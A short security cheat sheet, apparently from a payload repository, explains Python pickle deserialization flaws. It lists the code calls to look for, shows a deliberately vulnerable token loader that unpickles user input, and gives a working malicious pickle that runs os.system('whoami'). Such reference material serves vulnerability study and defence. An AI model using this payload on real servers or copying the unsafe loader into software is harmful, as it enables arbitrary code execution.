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68 lines
1.7 KiB
Markdown
68 lines
1.7 KiB
Markdown
# Python Deserialization
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## Summary
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* [Detection](#detection)
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* [Pickle](#pickle)
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* [References](#references)
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## Detection
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In Python source code, look for these sinks:
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* `cPickle.loads`
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* `pickle.loads`
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* `_pickle.loads`
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* `jsonpickle.decode`
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## Pickle
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The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
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:warning: `import cPickle` will only work on Python 2
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```python
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import cPickle
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from base64 import b64encode, b64decode
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class User:
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def __init__(self):
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self.username = "anonymous"
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self.password = "anonymous"
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self.rank = "guest"
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h = User()
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auth_token = b64encode(cPickle.dumps(h))
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print("Your Auth Token : {}").format(auth_token)
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```
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The vulnerability is introduced when a token is loaded from an user input.
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```python
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new_token = raw_input("New Auth Token : ")
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token = cPickle.loads(b64decode(new_token))
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print "Welcome {}".format(token.username)
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```
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Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.
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> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
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```python
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import cPickle, os
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from base64 import b64encode, b64decode
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class Evil(object):
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def __reduce__(self):
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return (os.system,("whoami",))
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e = Evil()
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evil_token = b64encode(cPickle.dumps(e))
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print("Your Evil Token : {}").format(evil_token)
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```
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## References
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- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/) |